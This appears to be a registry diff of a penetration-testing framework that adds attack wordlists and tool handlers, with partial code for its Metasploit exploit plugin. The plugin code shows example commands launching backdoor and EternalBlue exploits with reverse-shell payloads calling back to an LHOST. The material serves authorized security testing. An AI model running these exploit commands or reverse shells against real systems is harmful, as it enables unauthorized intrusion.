souleyez 2.43.29__py3-none-any.whl → 3.0.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- souleyez/__init__.py +1 -2
- souleyez/ai/__init__.py +21 -15
- souleyez/ai/action_mapper.py +249 -150
- souleyez/ai/chain_advisor.py +116 -100
- souleyez/ai/claude_provider.py +29 -28
- souleyez/ai/context_builder.py +80 -62
- souleyez/ai/executor.py +158 -117
- souleyez/ai/feedback_handler.py +136 -121
- souleyez/ai/llm_factory.py +27 -20
- souleyez/ai/llm_provider.py +4 -2
- souleyez/ai/ollama_provider.py +6 -9
- souleyez/ai/ollama_service.py +44 -37
- souleyez/ai/path_scorer.py +91 -76
- souleyez/ai/recommender.py +176 -144
- souleyez/ai/report_context.py +74 -73
- souleyez/ai/report_service.py +84 -66
- souleyez/ai/result_parser.py +222 -229
- souleyez/ai/safety.py +67 -44
- souleyez/auth/__init__.py +23 -22
- souleyez/auth/audit.py +36 -26
- souleyez/auth/engagement_access.py +65 -48
- souleyez/auth/permissions.py +14 -3
- souleyez/auth/session_manager.py +54 -37
- souleyez/auth/user_manager.py +109 -64
- souleyez/commands/audit.py +40 -43
- souleyez/commands/auth.py +35 -15
- souleyez/commands/deliverables.py +55 -50
- souleyez/commands/engagement.py +47 -28
- souleyez/commands/license.py +32 -23
- souleyez/commands/screenshots.py +36 -32
- souleyez/commands/user.py +82 -36
- souleyez/config.py +52 -44
- souleyez/core/credential_tester.py +87 -81
- souleyez/core/cve_mappings.py +179 -192
- souleyez/core/cve_matcher.py +162 -148
- souleyez/core/msf_auto_mapper.py +100 -83
- souleyez/core/msf_chain_engine.py +294 -256
- souleyez/core/msf_database.py +153 -70
- souleyez/core/msf_integration.py +679 -673
- souleyez/core/msf_rpc_client.py +40 -42
- souleyez/core/msf_rpc_manager.py +77 -79
- souleyez/core/msf_sync_manager.py +241 -181
- souleyez/core/network_utils.py +22 -15
- souleyez/core/parser_handler.py +34 -25
- souleyez/core/pending_chains.py +114 -63
- souleyez/core/templates.py +158 -107
- souleyez/core/tool_chaining.py +9564 -2881
- souleyez/core/version_utils.py +79 -94
- souleyez/core/vuln_correlation.py +136 -89
- souleyez/core/web_utils.py +33 -32
- souleyez/data/wordlists/ad_users.txt +378 -0
- souleyez/data/wordlists/api_endpoints_large.txt +769 -0
- souleyez/data/wordlists/home_dir_sensitive.txt +39 -0
- souleyez/data/wordlists/lfi_payloads.txt +82 -0
- souleyez/data/wordlists/passwords_brute.txt +1548 -0
- souleyez/data/wordlists/passwords_crack.txt +2479 -0
- souleyez/data/wordlists/passwords_spray.txt +386 -0
- souleyez/data/wordlists/subdomains_large.txt +5057 -0
- souleyez/data/wordlists/usernames_common.txt +694 -0
- souleyez/data/wordlists/web_dirs_large.txt +4769 -0
- souleyez/detection/__init__.py +1 -1
- souleyez/detection/attack_signatures.py +12 -17
- souleyez/detection/mitre_mappings.py +61 -55
- souleyez/detection/validator.py +97 -86
- souleyez/devtools.py +23 -10
- souleyez/docs/README.md +4 -4
- souleyez/docs/api-reference/cli-commands.md +2 -2
- souleyez/docs/developer-guide/adding-new-tools.md +562 -0
- souleyez/docs/user-guide/auto-chaining.md +30 -8
- souleyez/docs/user-guide/getting-started.md +1 -1
- souleyez/docs/user-guide/installation.md +26 -3
- souleyez/docs/user-guide/metasploit-integration.md +2 -2
- souleyez/docs/user-guide/rbac.md +1 -1
- souleyez/docs/user-guide/scope-management.md +1 -1
- souleyez/docs/user-guide/siem-integration.md +1 -1
- souleyez/docs/user-guide/tools-reference.md +1 -8
- souleyez/docs/user-guide/worker-management.md +1 -1
- souleyez/engine/background.py +1239 -535
- souleyez/engine/base.py +4 -1
- souleyez/engine/job_status.py +17 -49
- souleyez/engine/log_sanitizer.py +103 -77
- souleyez/engine/manager.py +38 -7
- souleyez/engine/result_handler.py +2200 -1550
- souleyez/engine/worker_manager.py +50 -41
- souleyez/export/evidence_bundle.py +72 -62
- souleyez/feature_flags/features.py +16 -20
- souleyez/feature_flags.py +5 -9
- souleyez/handlers/__init__.py +11 -0
- souleyez/handlers/base.py +188 -0
- souleyez/handlers/bash_handler.py +277 -0
- souleyez/handlers/bloodhound_handler.py +243 -0
- souleyez/handlers/certipy_handler.py +311 -0
- souleyez/handlers/crackmapexec_handler.py +486 -0
- souleyez/handlers/dnsrecon_handler.py +344 -0
- souleyez/handlers/enum4linux_handler.py +400 -0
- souleyez/handlers/evil_winrm_handler.py +493 -0
- souleyez/handlers/ffuf_handler.py +815 -0
- souleyez/handlers/gobuster_handler.py +1114 -0
- souleyez/handlers/gpp_extract_handler.py +334 -0
- souleyez/handlers/hashcat_handler.py +444 -0
- souleyez/handlers/hydra_handler.py +564 -0
- souleyez/handlers/impacket_getuserspns_handler.py +343 -0
- souleyez/handlers/impacket_psexec_handler.py +222 -0
- souleyez/handlers/impacket_secretsdump_handler.py +426 -0
- souleyez/handlers/john_handler.py +286 -0
- souleyez/handlers/katana_handler.py +425 -0
- souleyez/handlers/kerbrute_handler.py +298 -0
- souleyez/handlers/ldapsearch_handler.py +636 -0
- souleyez/handlers/lfi_extract_handler.py +464 -0
- souleyez/handlers/msf_auxiliary_handler.py +409 -0
- souleyez/handlers/msf_exploit_handler.py +380 -0
- souleyez/handlers/nikto_handler.py +413 -0
- souleyez/handlers/nmap_handler.py +821 -0
- souleyez/handlers/nuclei_handler.py +359 -0
- souleyez/handlers/nxc_handler.py +417 -0
- souleyez/handlers/rdp_sec_check_handler.py +353 -0
- souleyez/handlers/registry.py +292 -0
- souleyez/handlers/responder_handler.py +232 -0
- souleyez/handlers/service_explorer_handler.py +434 -0
- souleyez/handlers/smbclient_handler.py +344 -0
- souleyez/handlers/smbmap_handler.py +510 -0
- souleyez/handlers/smbpasswd_handler.py +296 -0
- souleyez/handlers/sqlmap_handler.py +1116 -0
- souleyez/handlers/theharvester_handler.py +601 -0
- souleyez/handlers/web_login_test_handler.py +327 -0
- souleyez/handlers/whois_handler.py +277 -0
- souleyez/handlers/wpscan_handler.py +554 -0
- souleyez/history.py +32 -16
- souleyez/importers/msf_importer.py +106 -75
- souleyez/importers/smart_importer.py +208 -147
- souleyez/integrations/siem/__init__.py +10 -10
- souleyez/integrations/siem/base.py +17 -18
- souleyez/integrations/siem/elastic.py +108 -122
- souleyez/integrations/siem/factory.py +207 -80
- souleyez/integrations/siem/googlesecops.py +146 -154
- souleyez/integrations/siem/rule_mappings/__init__.py +1 -1
- souleyez/integrations/siem/rule_mappings/wazuh_rules.py +8 -5
- souleyez/integrations/siem/sentinel.py +107 -109
- souleyez/integrations/siem/splunk.py +246 -212
- souleyez/integrations/siem/wazuh.py +65 -71
- souleyez/integrations/wazuh/__init__.py +5 -5
- souleyez/integrations/wazuh/client.py +70 -93
- souleyez/integrations/wazuh/config.py +85 -57
- souleyez/integrations/wazuh/host_mapper.py +28 -36
- souleyez/integrations/wazuh/sync.py +78 -68
- souleyez/intelligence/__init__.py +4 -5
- souleyez/intelligence/correlation_analyzer.py +309 -295
- souleyez/intelligence/exploit_knowledge.py +661 -623
- souleyez/intelligence/exploit_suggestions.py +159 -139
- souleyez/intelligence/gap_analyzer.py +132 -97
- souleyez/intelligence/gap_detector.py +251 -214
- souleyez/intelligence/sensitive_tables.py +266 -129
- souleyez/intelligence/service_parser.py +137 -123
- souleyez/intelligence/surface_analyzer.py +407 -268
- souleyez/intelligence/target_parser.py +159 -162
- souleyez/licensing/__init__.py +6 -6
- souleyez/licensing/validator.py +17 -19
- souleyez/log_config.py +79 -54
- souleyez/main.py +1505 -687
- souleyez/migrations/fix_job_counter.py +16 -14
- souleyez/parsers/bloodhound_parser.py +41 -39
- souleyez/parsers/crackmapexec_parser.py +178 -111
- souleyez/parsers/dalfox_parser.py +72 -77
- souleyez/parsers/dnsrecon_parser.py +103 -91
- souleyez/parsers/enum4linux_parser.py +183 -153
- souleyez/parsers/ffuf_parser.py +29 -25
- souleyez/parsers/gobuster_parser.py +301 -41
- souleyez/parsers/hashcat_parser.py +324 -79
- souleyez/parsers/http_fingerprint_parser.py +350 -103
- souleyez/parsers/hydra_parser.py +131 -111
- souleyez/parsers/impacket_parser.py +231 -178
- souleyez/parsers/john_parser.py +98 -86
- souleyez/parsers/katana_parser.py +316 -0
- souleyez/parsers/msf_parser.py +943 -498
- souleyez/parsers/nikto_parser.py +346 -65
- souleyez/parsers/nmap_parser.py +262 -174
- souleyez/parsers/nuclei_parser.py +40 -44
- souleyez/parsers/responder_parser.py +26 -26
- souleyez/parsers/searchsploit_parser.py +74 -74
- souleyez/parsers/service_explorer_parser.py +279 -0
- souleyez/parsers/smbmap_parser.py +180 -124
- souleyez/parsers/sqlmap_parser.py +434 -308
- souleyez/parsers/theharvester_parser.py +75 -57
- souleyez/parsers/whois_parser.py +135 -94
- souleyez/parsers/wpscan_parser.py +278 -190
- souleyez/plugins/afp.py +44 -36
- souleyez/plugins/afp_brute.py +114 -46
- souleyez/plugins/ard.py +48 -37
- souleyez/plugins/bloodhound.py +95 -61
- souleyez/plugins/certipy.py +303 -0
- souleyez/plugins/crackmapexec.py +186 -85
- souleyez/plugins/dalfox.py +120 -59
- souleyez/plugins/dns_hijack.py +146 -41
- souleyez/plugins/dnsrecon.py +97 -61
- souleyez/plugins/enum4linux.py +91 -66
- souleyez/plugins/evil_winrm.py +291 -0
- souleyez/plugins/ffuf.py +166 -90
- souleyez/plugins/firmware_extract.py +133 -29
- souleyez/plugins/gobuster.py +387 -190
- souleyez/plugins/gpp_extract.py +393 -0
- souleyez/plugins/hashcat.py +100 -73
- souleyez/plugins/http_fingerprint.py +913 -267
- souleyez/plugins/hydra.py +566 -200
- souleyez/plugins/impacket_getnpusers.py +117 -69
- souleyez/plugins/impacket_psexec.py +84 -64
- souleyez/plugins/impacket_secretsdump.py +103 -69
- souleyez/plugins/impacket_smbclient.py +89 -75
- souleyez/plugins/john.py +86 -69
- souleyez/plugins/katana.py +313 -0
- souleyez/plugins/kerbrute.py +237 -0
- souleyez/plugins/lfi_extract.py +541 -0
- souleyez/plugins/macos_ssh.py +117 -48
- souleyez/plugins/mdns.py +35 -30
- souleyez/plugins/msf_auxiliary.py +253 -130
- souleyez/plugins/msf_exploit.py +239 -161
- souleyez/plugins/nikto.py +134 -78
- souleyez/plugins/nmap.py +275 -91
- souleyez/plugins/nuclei.py +180 -89
- souleyez/plugins/nxc.py +285 -0
- souleyez/plugins/plugin_base.py +35 -36
- souleyez/plugins/plugin_template.py +13 -5
- souleyez/plugins/rdp_sec_check.py +130 -0
- souleyez/plugins/responder.py +112 -71
- souleyez/plugins/router_http_brute.py +76 -65
- souleyez/plugins/router_ssh_brute.py +118 -41
- souleyez/plugins/router_telnet_brute.py +124 -42
- souleyez/plugins/routersploit.py +91 -59
- souleyez/plugins/routersploit_exploit.py +77 -55
- souleyez/plugins/searchsploit.py +91 -77
- souleyez/plugins/service_explorer.py +1160 -0
- souleyez/plugins/smbmap.py +122 -72
- souleyez/plugins/smbpasswd.py +215 -0
- souleyez/plugins/sqlmap.py +301 -113
- souleyez/plugins/theharvester.py +127 -75
- souleyez/plugins/tr069.py +79 -57
- souleyez/plugins/upnp.py +65 -47
- souleyez/plugins/upnp_abuse.py +73 -55
- souleyez/plugins/vnc_access.py +129 -42
- souleyez/plugins/vnc_brute.py +109 -38
- souleyez/plugins/web_login_test.py +417 -0
- souleyez/plugins/whois.py +77 -58
- souleyez/plugins/wpscan.py +219 -69
- souleyez/reporting/__init__.py +2 -1
- souleyez/reporting/attack_chain.py +411 -346
- souleyez/reporting/charts.py +436 -501
- souleyez/reporting/compliance_mappings.py +334 -201
- souleyez/reporting/detection_report.py +126 -125
- souleyez/reporting/formatters.py +828 -591
- souleyez/reporting/generator.py +386 -302
- souleyez/reporting/metrics.py +72 -75
- souleyez/scanner.py +35 -29
- souleyez/security/__init__.py +37 -11
- souleyez/security/scope_validator.py +175 -106
- souleyez/security/validation.py +237 -149
- souleyez/security.py +22 -6
- souleyez/storage/credentials.py +247 -186
- souleyez/storage/crypto.py +296 -129
- souleyez/storage/database.py +73 -50
- souleyez/storage/db.py +58 -36
- souleyez/storage/deliverable_evidence.py +177 -128
- souleyez/storage/deliverable_exporter.py +282 -246
- souleyez/storage/deliverable_templates.py +134 -116
- souleyez/storage/deliverables.py +135 -130
- souleyez/storage/engagements.py +109 -56
- souleyez/storage/evidence.py +181 -152
- souleyez/storage/execution_log.py +31 -17
- souleyez/storage/exploit_attempts.py +93 -57
- souleyez/storage/exploits.py +67 -36
- souleyez/storage/findings.py +48 -61
- souleyez/storage/hosts.py +176 -144
- souleyez/storage/migrate_to_engagements.py +43 -19
- souleyez/storage/migrations/_001_add_credential_enhancements.py +22 -12
- souleyez/storage/migrations/_002_add_status_tracking.py +10 -7
- souleyez/storage/migrations/_003_add_execution_log.py +14 -8
- souleyez/storage/migrations/_005_screenshots.py +13 -5
- souleyez/storage/migrations/_006_deliverables.py +13 -5
- souleyez/storage/migrations/_007_deliverable_templates.py +12 -7
- souleyez/storage/migrations/_008_add_nuclei_table.py +10 -4
- souleyez/storage/migrations/_010_evidence_linking.py +17 -10
- souleyez/storage/migrations/_011_timeline_tracking.py +20 -13
- souleyez/storage/migrations/_012_team_collaboration.py +34 -21
- souleyez/storage/migrations/_013_add_host_tags.py +12 -6
- souleyez/storage/migrations/_014_exploit_attempts.py +22 -10
- souleyez/storage/migrations/_015_add_mac_os_fields.py +15 -7
- souleyez/storage/migrations/_016_add_domain_field.py +10 -4
- souleyez/storage/migrations/_017_msf_sessions.py +16 -8
- souleyez/storage/migrations/_018_add_osint_target.py +10 -6
- souleyez/storage/migrations/_019_add_engagement_type.py +10 -6
- souleyez/storage/migrations/_020_add_rbac.py +36 -15
- souleyez/storage/migrations/_021_wazuh_integration.py +20 -8
- souleyez/storage/migrations/_022_wazuh_indexer_columns.py +6 -4
- souleyez/storage/migrations/_023_fix_detection_results_fk.py +16 -6
- souleyez/storage/migrations/_024_wazuh_vulnerabilities.py +26 -10
- souleyez/storage/migrations/_025_multi_siem_support.py +3 -5
- souleyez/storage/migrations/_026_add_engagement_scope.py +31 -12
- souleyez/storage/migrations/_027_multi_siem_persistence.py +32 -15
- souleyez/storage/migrations/__init__.py +26 -26
- souleyez/storage/migrations/migration_manager.py +19 -19
- souleyez/storage/msf_sessions.py +100 -65
- souleyez/storage/osint.py +17 -24
- souleyez/storage/recommendation_engine.py +269 -235
- souleyez/storage/screenshots.py +33 -32
- souleyez/storage/smb_shares.py +136 -92
- souleyez/storage/sqlmap_data.py +183 -128
- souleyez/storage/team_collaboration.py +135 -141
- souleyez/storage/timeline_tracker.py +122 -94
- souleyez/storage/wazuh_vulns.py +64 -66
- souleyez/storage/web_paths.py +33 -37
- souleyez/testing/credential_tester.py +221 -205
- souleyez/ui/__init__.py +1 -1
- souleyez/ui/ai_quotes.py +12 -12
- souleyez/ui/attack_surface.py +2439 -1516
- souleyez/ui/chain_rules_view.py +914 -382
- souleyez/ui/correlation_view.py +312 -230
- souleyez/ui/dashboard.py +2382 -1130
- souleyez/ui/deliverables_view.py +148 -62
- souleyez/ui/design_system.py +13 -13
- souleyez/ui/errors.py +49 -49
- souleyez/ui/evidence_linking_view.py +284 -179
- souleyez/ui/evidence_vault.py +393 -285
- souleyez/ui/exploit_suggestions_view.py +555 -349
- souleyez/ui/export_view.py +100 -66
- souleyez/ui/gap_analysis_view.py +315 -171
- souleyez/ui/help_system.py +105 -97
- souleyez/ui/intelligence_view.py +436 -293
- souleyez/ui/interactive.py +23034 -10679
- souleyez/ui/interactive_selector.py +75 -68
- souleyez/ui/log_formatter.py +47 -39
- souleyez/ui/menu_components.py +22 -13
- souleyez/ui/msf_auxiliary_menu.py +184 -133
- souleyez/ui/pending_chains_view.py +336 -172
- souleyez/ui/progress_indicators.py +5 -3
- souleyez/ui/recommendations_view.py +195 -137
- souleyez/ui/rule_builder.py +343 -225
- souleyez/ui/setup_wizard.py +678 -284
- souleyez/ui/shortcuts.py +217 -165
- souleyez/ui/splunk_gap_analysis_view.py +452 -270
- souleyez/ui/splunk_vulns_view.py +139 -86
- souleyez/ui/team_dashboard.py +498 -335
- souleyez/ui/template_selector.py +196 -105
- souleyez/ui/terminal.py +6 -6
- souleyez/ui/timeline_view.py +198 -127
- souleyez/ui/tool_setup.py +264 -164
- souleyez/ui/tutorial.py +202 -72
- souleyez/ui/tutorial_state.py +40 -40
- souleyez/ui/wazuh_vulns_view.py +235 -141
- souleyez/ui/wordlist_browser.py +260 -107
- souleyez/ui.py +464 -312
- souleyez/utils/tool_checker.py +427 -367
- souleyez/utils.py +33 -29
- souleyez/wordlists.py +134 -167
- {souleyez-2.43.29.dist-info → souleyez-3.0.0.dist-info}/METADATA +2 -2
- souleyez-3.0.0.dist-info/RECORD +443 -0
- {souleyez-2.43.29.dist-info → souleyez-3.0.0.dist-info}/WHEEL +1 -1
- souleyez-2.43.29.dist-info/RECORD +0 -379
- {souleyez-2.43.29.dist-info → souleyez-3.0.0.dist-info}/entry_points.txt +0 -0
- {souleyez-2.43.29.dist-info → souleyez-3.0.0.dist-info}/licenses/LICENSE +0 -0
- {souleyez-2.43.29.dist-info → souleyez-3.0.0.dist-info}/top_level.txt +0 -0
souleyez/plugins/msf_exploit.py
CHANGED
|
@@ -29,16 +29,16 @@ HELP = {
|
|
|
29
29
|
"- Use bind payloads when reverse connections aren't possible\n"
|
|
30
30
|
"- Sessions are not maintained - output is captured to log\n\n"
|
|
31
31
|
"Common payloads:\n"
|
|
32
|
-
"-
|
|
33
|
-
"-
|
|
34
|
-
"- cmd/unix/
|
|
32
|
+
"- cmd/unix/reverse_netcat - Unix reverse shell (default for unix/multi)\n"
|
|
33
|
+
"- windows/shell_reverse_tcp - Windows reverse shell (default for windows)\n"
|
|
34
|
+
"- cmd/unix/bind_netcat - Unix bind shell\n"
|
|
35
35
|
"- windows/meterpreter/reverse_tcp - Meterpreter (if needed)\n"
|
|
36
36
|
),
|
|
37
|
-
"usage":
|
|
37
|
+
"usage": 'souleyez jobs enqueue msf_exploit <target> --args "<exploit_path> [OPTIONS]"',
|
|
38
38
|
"examples": [
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
39
|
+
'souleyez jobs enqueue msf_exploit 10.0.0.82 --args "exploit/unix/ftp/vsftpd_234_backdoor"',
|
|
40
|
+
'souleyez jobs enqueue msf_exploit 10.0.0.82 --args "exploit/multi/samba/usermap_script LHOST=10.0.0.1"',
|
|
41
|
+
'souleyez jobs enqueue msf_exploit 10.0.0.82 --args "exploit/windows/smb/ms17_010_eternalblue LHOST=10.0.0.1"',
|
|
42
42
|
],
|
|
43
43
|
"common_options": {
|
|
44
44
|
"RHOSTS": "Target host(s) - set automatically from target",
|
|
@@ -60,31 +60,70 @@ HELP = {
|
|
|
60
60
|
"title": "What is MSF Exploit?",
|
|
61
61
|
"color": "cyan",
|
|
62
62
|
"content": [
|
|
63
|
-
{
|
|
64
|
-
|
|
65
|
-
"
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
"
|
|
69
|
-
|
|
70
|
-
|
|
63
|
+
{
|
|
64
|
+
"title": "Overview",
|
|
65
|
+
"desc": "MSF Exploit runs Metasploit Framework exploit modules non-interactively to verify vulnerabilities and gain access in authorized testing scenarios.",
|
|
66
|
+
},
|
|
67
|
+
{
|
|
68
|
+
"title": "Use Cases",
|
|
69
|
+
"desc": "Vulnerability verification and exploitation",
|
|
70
|
+
"tips": [
|
|
71
|
+
"Verify detected vulnerabilities are exploitable",
|
|
72
|
+
"Gain initial access in CTF/lab environments",
|
|
73
|
+
"Test exploit chains from auto-chaining rules",
|
|
74
|
+
"Document successful exploits for reporting",
|
|
75
|
+
],
|
|
76
|
+
},
|
|
77
|
+
],
|
|
71
78
|
},
|
|
72
79
|
{
|
|
73
80
|
"title": "How to Use",
|
|
74
81
|
"color": "green",
|
|
75
82
|
"content": [
|
|
76
|
-
{
|
|
77
|
-
|
|
78
|
-
"
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
"
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
83
|
+
{
|
|
84
|
+
"title": "Basic Workflow",
|
|
85
|
+
"desc": "1. Identify vulnerable service from scan\\n 2. Select appropriate exploit module\\n 3. Configure LHOST for reverse payloads\\n 4. Run and capture results",
|
|
86
|
+
},
|
|
87
|
+
{
|
|
88
|
+
"title": "Payload Types",
|
|
89
|
+
"desc": "Choose payload based on target",
|
|
90
|
+
"tips": [
|
|
91
|
+
"Reverse: Target connects back to you (needs LHOST)",
|
|
92
|
+
"Bind: Opens port on target (you connect to it)",
|
|
93
|
+
"Use bind when firewalls block reverse connections",
|
|
94
|
+
"Default payloads are usually sufficient",
|
|
95
|
+
],
|
|
96
|
+
},
|
|
97
|
+
],
|
|
98
|
+
},
|
|
99
|
+
],
|
|
86
100
|
}
|
|
87
101
|
|
|
102
|
+
# Exploits that don't need LHOST/PAYLOAD configuration
|
|
103
|
+
# These either have built-in backdoors (bind shell) or use command execution
|
|
104
|
+
NO_PAYLOAD_EXPLOITS = [
|
|
105
|
+
"vsftpd_234_backdoor", # Bind shell backdoor on port 6200
|
|
106
|
+
"usermap_script", # Samba command execution
|
|
107
|
+
"distcc_exec", # Direct command execution
|
|
108
|
+
"ingreslock", # Bind shell backdoor
|
|
109
|
+
"irc_3281_backdoor", # UnrealIRCd bind shell backdoor
|
|
110
|
+
]
|
|
111
|
+
|
|
112
|
+
|
|
113
|
+
def _exploit_needs_payload(exploit_path: str) -> bool:
|
|
114
|
+
"""Check if an exploit needs LHOST/PAYLOAD configuration.
|
|
115
|
+
|
|
116
|
+
Some exploits (like vsftpd_234_backdoor) have built-in bind shells
|
|
117
|
+
or use direct command execution, so they don't need reverse payloads.
|
|
118
|
+
|
|
119
|
+
Args:
|
|
120
|
+
exploit_path: The Metasploit exploit module path
|
|
121
|
+
|
|
122
|
+
Returns:
|
|
123
|
+
True if the exploit needs LHOST/PAYLOAD, False otherwise
|
|
124
|
+
"""
|
|
125
|
+
return not any(exp in exploit_path for exp in NO_PAYLOAD_EXPLOITS)
|
|
126
|
+
|
|
88
127
|
|
|
89
128
|
class MsfExploitPlugin(PluginBase):
|
|
90
129
|
name = "Metasploit Exploit"
|
|
@@ -100,6 +139,7 @@ class MsfExploitPlugin(PluginBase):
|
|
|
100
139
|
if self._rpc_manager is None:
|
|
101
140
|
try:
|
|
102
141
|
from souleyez.core.msf_rpc_manager import MSFRPCManager
|
|
142
|
+
|
|
103
143
|
self._rpc_manager = MSFRPCManager.get_instance()
|
|
104
144
|
except Exception:
|
|
105
145
|
self._rpc_manager = None
|
|
@@ -123,7 +163,7 @@ class MsfExploitPlugin(PluginBase):
|
|
|
123
163
|
return False
|
|
124
164
|
|
|
125
165
|
# Must be enabled in config
|
|
126
|
-
if not config.get(
|
|
166
|
+
if not config.get("msfrpc.enabled", False):
|
|
127
167
|
return False
|
|
128
168
|
|
|
129
169
|
# Must be able to connect
|
|
@@ -132,7 +172,7 @@ class MsfExploitPlugin(PluginBase):
|
|
|
132
172
|
return True
|
|
133
173
|
|
|
134
174
|
# Check fallback setting
|
|
135
|
-
if not config.get(
|
|
175
|
+
if not config.get("msfrpc.fallback_to_console", True):
|
|
136
176
|
logger.warning("msfrpcd unavailable and fallback disabled")
|
|
137
177
|
|
|
138
178
|
return False
|
|
@@ -141,38 +181,44 @@ class MsfExploitPlugin(PluginBase):
|
|
|
141
181
|
logger.debug(f"RPC mode check failed: {e}")
|
|
142
182
|
return False
|
|
143
183
|
|
|
144
|
-
def _parse_exploit_options(
|
|
184
|
+
def _parse_exploit_options(
|
|
185
|
+
self, target: str, extra_opts: List[str], exploit_path: str
|
|
186
|
+
) -> Dict[str, Any]:
|
|
145
187
|
"""Parse exploit options into RPC format."""
|
|
146
|
-
options = {
|
|
188
|
+
options = {"RHOSTS": target}
|
|
147
189
|
|
|
148
190
|
# Check what's already provided
|
|
149
|
-
has_lhost = any(
|
|
150
|
-
has_payload = any(
|
|
191
|
+
has_lhost = any("LHOST=" in opt.upper() for opt in extra_opts)
|
|
192
|
+
has_payload = any("PAYLOAD=" in opt.upper() for opt in extra_opts)
|
|
151
193
|
|
|
152
|
-
#
|
|
153
|
-
|
|
194
|
+
# Check if this exploit needs payload/LHOST (bind shell exploits don't)
|
|
195
|
+
needs_payload = _exploit_needs_payload(exploit_path)
|
|
196
|
+
|
|
197
|
+
# Auto-detect LHOST if not provided AND exploit needs it
|
|
198
|
+
if not has_lhost and needs_payload:
|
|
154
199
|
local_ip = self._get_local_ip(target)
|
|
155
200
|
if local_ip:
|
|
156
|
-
options[
|
|
201
|
+
options["LHOST"] = local_ip
|
|
157
202
|
|
|
158
203
|
# Parse extra options
|
|
159
204
|
for opt in extra_opts:
|
|
160
|
-
if
|
|
161
|
-
key, value = opt.split(
|
|
205
|
+
if "=" in opt:
|
|
206
|
+
key, value = opt.split("=", 1)
|
|
162
207
|
options[key.upper()] = value
|
|
163
208
|
|
|
164
|
-
return options, has_payload
|
|
209
|
+
return options, has_payload, needs_payload
|
|
165
210
|
|
|
166
211
|
def _get_default_payload(self, exploit_path: str) -> str:
|
|
167
212
|
"""Get default payload based on exploit path."""
|
|
168
213
|
exploit_lower = exploit_path.lower()
|
|
169
|
-
if
|
|
170
|
-
return
|
|
171
|
-
elif
|
|
172
|
-
return
|
|
173
|
-
elif
|
|
174
|
-
|
|
175
|
-
|
|
214
|
+
if "windows" in exploit_lower:
|
|
215
|
+
return "windows/shell_reverse_tcp"
|
|
216
|
+
elif "unix" in exploit_lower or "linux" in exploit_lower:
|
|
217
|
+
return "cmd/unix/reverse_netcat"
|
|
218
|
+
elif "multi" in exploit_lower:
|
|
219
|
+
# Multi exploits are usually Unix-based (samba, etc.)
|
|
220
|
+
return "cmd/unix/reverse_netcat"
|
|
221
|
+
return "cmd/unix/reverse_netcat"
|
|
176
222
|
|
|
177
223
|
def run_rpc_exploit(
|
|
178
224
|
self,
|
|
@@ -180,7 +226,7 @@ class MsfExploitPlugin(PluginBase):
|
|
|
180
226
|
target: str,
|
|
181
227
|
options: Dict[str, Any],
|
|
182
228
|
log_path: Optional[str] = None,
|
|
183
|
-
payload: Optional[str] = None
|
|
229
|
+
payload: Optional[str] = None,
|
|
184
230
|
) -> Dict[str, Any]:
|
|
185
231
|
"""
|
|
186
232
|
Execute exploit via RPC and poll for session.
|
|
@@ -199,18 +245,18 @@ class MsfExploitPlugin(PluginBase):
|
|
|
199
245
|
|
|
200
246
|
manager = self._get_rpc_manager()
|
|
201
247
|
if not manager:
|
|
202
|
-
return {
|
|
248
|
+
return {"success": False, "error": "RPC manager not available"}
|
|
203
249
|
|
|
204
250
|
client = manager.get_client()
|
|
205
251
|
if not client:
|
|
206
|
-
return {
|
|
252
|
+
return {"success": False, "error": "Could not connect to msfrpcd"}
|
|
207
253
|
|
|
208
|
-
poll_interval = config.get(
|
|
209
|
-
max_poll = config.get(
|
|
254
|
+
poll_interval = config.get("msfrpc.poll_interval", 2)
|
|
255
|
+
max_poll = config.get("msfrpc.max_poll_time", 300)
|
|
210
256
|
|
|
211
257
|
# Log start
|
|
212
258
|
if log_path:
|
|
213
|
-
with open(log_path,
|
|
259
|
+
with open(log_path, "a", encoding="utf-8", errors="replace") as f:
|
|
214
260
|
f.write(f"\n=== RPC Exploit Execution ===\n")
|
|
215
261
|
f.write(f"Mode: msfrpcd (persistent sessions)\n")
|
|
216
262
|
f.write(f"Exploit: {exploit_path}\n")
|
|
@@ -218,47 +264,51 @@ class MsfExploitPlugin(PluginBase):
|
|
|
218
264
|
f.write(f"Options: {options}\n")
|
|
219
265
|
if payload:
|
|
220
266
|
f.write(f"Payload: {payload}\n")
|
|
221
|
-
f.write(
|
|
267
|
+
f.write(
|
|
268
|
+
f"Started: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n\n"
|
|
269
|
+
)
|
|
222
270
|
|
|
223
271
|
# Get baseline session count
|
|
224
272
|
try:
|
|
225
273
|
initial_sessions = set(client.list_sessions().keys())
|
|
226
274
|
if log_path:
|
|
227
|
-
with open(log_path,
|
|
275
|
+
with open(log_path, "a") as f:
|
|
228
276
|
f.write(f"[*] Current sessions: {len(initial_sessions)}\n")
|
|
229
277
|
except Exception as e:
|
|
230
|
-
return {
|
|
278
|
+
return {"success": False, "error": f"Failed to list sessions: {e}"}
|
|
231
279
|
|
|
232
280
|
# Set payload in options if provided
|
|
233
281
|
if payload:
|
|
234
|
-
options[
|
|
282
|
+
options["PAYLOAD"] = payload
|
|
235
283
|
|
|
236
284
|
# Execute exploit via RPC
|
|
237
285
|
try:
|
|
238
286
|
if log_path:
|
|
239
|
-
with open(log_path,
|
|
287
|
+
with open(log_path, "a") as f:
|
|
240
288
|
f.write(f"[*] Submitting exploit to msfrpcd...\n")
|
|
241
289
|
|
|
242
|
-
result = client.execute_module(
|
|
290
|
+
result = client.execute_module("exploit", exploit_path, options)
|
|
243
291
|
|
|
244
|
-
if isinstance(result, dict) and
|
|
245
|
-
error_msg = result.get(
|
|
292
|
+
if isinstance(result, dict) and "error" in result:
|
|
293
|
+
error_msg = result.get(
|
|
294
|
+
"error_message", result.get("error", "Unknown error")
|
|
295
|
+
)
|
|
246
296
|
if log_path:
|
|
247
|
-
with open(log_path,
|
|
297
|
+
with open(log_path, "a") as f:
|
|
248
298
|
f.write(f"[-] Exploit submission failed: {error_msg}\n")
|
|
249
|
-
return {
|
|
299
|
+
return {"success": False, "error": error_msg}
|
|
250
300
|
|
|
251
|
-
job_id = result.get(
|
|
301
|
+
job_id = result.get("job_id")
|
|
252
302
|
if log_path:
